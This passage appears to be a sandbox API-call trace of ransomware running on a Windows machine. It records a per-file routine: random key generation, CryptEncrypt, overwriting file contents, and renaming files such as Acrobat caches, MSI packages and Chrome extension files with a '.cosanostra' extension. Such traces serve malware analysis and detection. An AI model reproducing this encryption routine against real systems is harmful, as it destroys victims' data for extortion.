nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x2abf9b4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf9b4*=0x1400, lpOverlapped=0x0) returned 1 [0083.503] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.503] WriteFile (in: hFile=0x178, lpBuffer=0x2abf9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf9b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf9f4*, lpNumberOfBytesWritten=0x2abf9b4*=0x4, lpOverlapped=0x0) returned 1 [0083.503] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf9b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf9b4*=0x30, lpOverlapped=0x0) returned 1 [0083.503] CloseHandle (hObject=0x178) returned 1 [0083.503] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents.cosanostra")) returned 1 [0083.505] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9f0 | out: pbBuffer=0x2abf9f0) returned 1 [0083.505] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9e8*=0x30) returned 1 [0083.505] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0083.506] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 86 [0083.506] StrStrW (lpFirst="AcroFnt10.lst", lpSrch=".txt") returned 0x0 [0083.562] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.562] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf9ac, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf9ac*=0x2800, lpOverlapped=0x0) returned 1 [0083.562] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.563] WriteFile (in: hFile=0x178, lpBuffer=0x2abf9ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf9ac, lpOverlapped=0x0 | out: lpBuffer=0x2abf9ec*, lpNumberOfBytesWritten=0x2abf9ac*=0x4, lpOverlapped=0x0) returned 1 [0083.763] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf9ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf9ac*=0x30, lpOverlapped=0x0) returned 1 [0083.763] CloseHandle (hObject=0x178) returned 1 [0083.763] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.cosanostra")) returned 1 [0083.763] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9f0 | out: pbBuffer=0x2abf9f0) returned 1 [0083.763] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9e8*=0x30) returned 1 [0083.764] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\." (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.764] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9e8 | out: pbBuffer=0x2abf9e8) returned 1 [0083.764] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9e0*=0x30) returned 1 [0083.764] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.764] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9e8 | out: pbBuffer=0x2abf9e8) returned 1 [0083.764] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9e0*=0x30) returned 1 [0083.764] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\." (normalized: "c:\\recovery\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.770] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9d0 | out: pbBuffer=0x2abf9d0) returned 1 [0083.770] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9c8*=0x30) returned 1 [0083.770] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0083.771] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml") returned 54 [0083.771] StrStrW (lpFirst="jaureglist.xml", lpSrch=".txt") returned 0x0 [0083.772] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.772] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x2abf98c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf98c*=0x77, lpOverlapped=0x0) returned 1 [0083.772] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.772] WriteFile (in: hFile=0x178, lpBuffer=0x2abf9cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf98c, lpOverlapped=0x0 | out: lpBuffer=0x2abf9cc*, lpNumberOfBytesWritten=0x2abf98c*=0x4, lpOverlapped=0x0) returned 1 [0083.773] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf98c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf98c*=0x30, lpOverlapped=0x0) returned 1 [0083.773] CloseHandle (hObject=0x178) returned 1 [0083.773] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.cosanostra" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml.cosanostra")) returned 1 [0083.883] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9c0 | out: pbBuffer=0x2abf9c0) returned 1 [0083.883] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9b8*=0x30) returned 1 [0083.884] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0083.884] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 144 [0083.884] StrStrW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch=".txt") returned 0x0 [0083.891] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.891] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf97c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf97c*=0x2800, lpOverlapped=0x0) returned 1 [0083.891] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.892] WriteFile (in: hFile=0x178, lpBuffer=0x2abf9bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf97c, lpOverlapped=0x0 | out: lpBuffer=0x2abf9bc*, lpNumberOfBytesWritten=0x2abf97c*=0x4, lpOverlapped=0x0) returned 1 [0083.892] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf97c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf97c*=0x30, lpOverlapped=0x0) returned 1 [0083.892] CloseHandle (hObject=0x178) returned 1 [0083.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.cosanostra" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.cosanostra")) returned 1 [0083.893] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9b8 | out: pbBuffer=0x2abf9b8) returned 1 [0083.893] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9b0*=0x30) returned 1 [0083.893] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0083.893] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 124 [0083.893] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0084.204] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.204] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf974, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf974*=0x2800, lpOverlapped=0x0) returned 1 [0084.204] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.205] WriteFile (in: hFile=0x178, lpBuffer=0x2abf9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf974, lpOverlapped=0x0 | out: lpBuffer=0x2abf9b4*, lpNumberOfBytesWritten=0x2abf974*=0x4, lpOverlapped=0x0) returned 1 [0084.215] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf974, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf974*=0x30, lpOverlapped=0x0) returned 1 [0084.215] CloseHandle (hObject=0x178) returned 1 [0084.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.cosanostra" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.cosanostra")) returned 1 [0084.920] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9b0 | out: pbBuffer=0x2abf9b0) returned 1 [0084.920] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9a8*=0x30) returned 1 [0084.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.928] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 156 [0084.928] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.929] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffefd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.929] WriteFile (in: hFile=0x18c, lpBuffer=0x3011528*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x2abf96c, lpOverlapped=0x0 | out: lpBuffer=0x3011528*, lpNumberOfBytesWritten=0x2abf96c*=0x103, lpOverlapped=0x0) returned 1 [0084.929] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.929] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf9ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf96c, lpOverlapped=0x0 | out: lpBuffer=0x2abf9ac*, lpNumberOfBytesWritten=0x2abf96c*=0x4, lpOverlapped=0x0) returned 1 [0084.929] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf96c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf96c*=0x30, lpOverlapped=0x0) returned 1 [0084.929] CloseHandle (hObject=0x18c) returned 1 [0084.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0084.930] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9a8 | out: pbBuffer=0x2abf9a8) returned 1 [0084.930] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9a0*=0x30) returned 1 [0084.930] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.935] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 156 [0084.935] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.936] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.936] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2abf964, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf964*=0x116, lpOverlapped=0x0) returned 1 [0084.936] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.936] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf9a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf964, lpOverlapped=0x0 | out: lpBuffer=0x2abf9a4*, lpNumberOfBytesWritten=0x2abf964*=0x4, lpOverlapped=0x0) returned 1 [0084.936] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf964, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf964*=0x30, lpOverlapped=0x0) returned 1 [0084.936] CloseHandle (hObject=0x18c) returned 1 [0084.937] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.cosanostra")) returned 1 [0084.938] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9a0 | out: pbBuffer=0x2abf9a0) returned 1 [0084.938] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf998*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf998*=0x30) returned 1 [0084.938] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.939] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 156 [0084.939] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.940] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffef9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.940] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x2abf95c, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf95c*=0x107, lpOverlapped=0x0) returned 1 [0084.940] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.940] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf95c, lpOverlapped=0x0 | out: lpBuffer=0x2abf99c*, lpNumberOfBytesWritten=0x2abf95c*=0x4, lpOverlapped=0x0) returned 1 [0084.940] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf95c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf95c*=0x30, lpOverlapped=0x0) returned 1 [0084.940] CloseHandle (hObject=0x18c) returned 1 [0084.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.cosanostra")) returned 1 [0084.942] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf998 | out: pbBuffer=0x2abf998) returned 1 [0084.942] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf990*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf990*=0x30) returned 1 [0084.942] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.943] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 156 [0084.943] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.943] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffea7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.943] 